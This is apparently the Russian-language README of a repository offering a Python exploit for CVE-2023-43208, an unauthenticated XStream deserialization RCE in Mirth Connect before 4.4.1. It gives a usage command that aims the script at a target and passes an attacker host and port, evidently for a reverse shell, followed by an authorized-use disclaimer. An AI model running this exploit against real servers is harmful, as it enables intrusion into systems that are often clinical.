az4rvs/mirth-connect-cve-2023-43208Реализация на Python для CVE-2023-43208 Mirth Connect RCE (Unauth XStream)
Этот эксплойт использует критическую уязвимость десериализации в движке XStream Mirth Connect. Она вызвана неполным исправлением для CVE-2023-37679, что позволяет неаутентифицированное выполнение произвольного кода во всех версиях до 4.4.1.
python3 mirth_rce.py https://{target} <attacker_host> <attacker_port>
Этот скрипт эксплойта предназначен строго для образовательных целей и авторизованного аудита безопасности, чтобы помочь защитникам в смягчении последствий CVE-2023-43208; любое использование этого инструмента против несанкционированных целей является незаконным и является единоличной ответственностью конечного пользователя. Автор предоставляет это программное обеспечение «как есть» без каких-либо гарантий, отказывается от любой ответственности за возможное неправильное использование или ущерб и не одобряет и не поощряет несанкционированные действия. Используйте на свой страх и риск и только в соответствии с применимыми законами.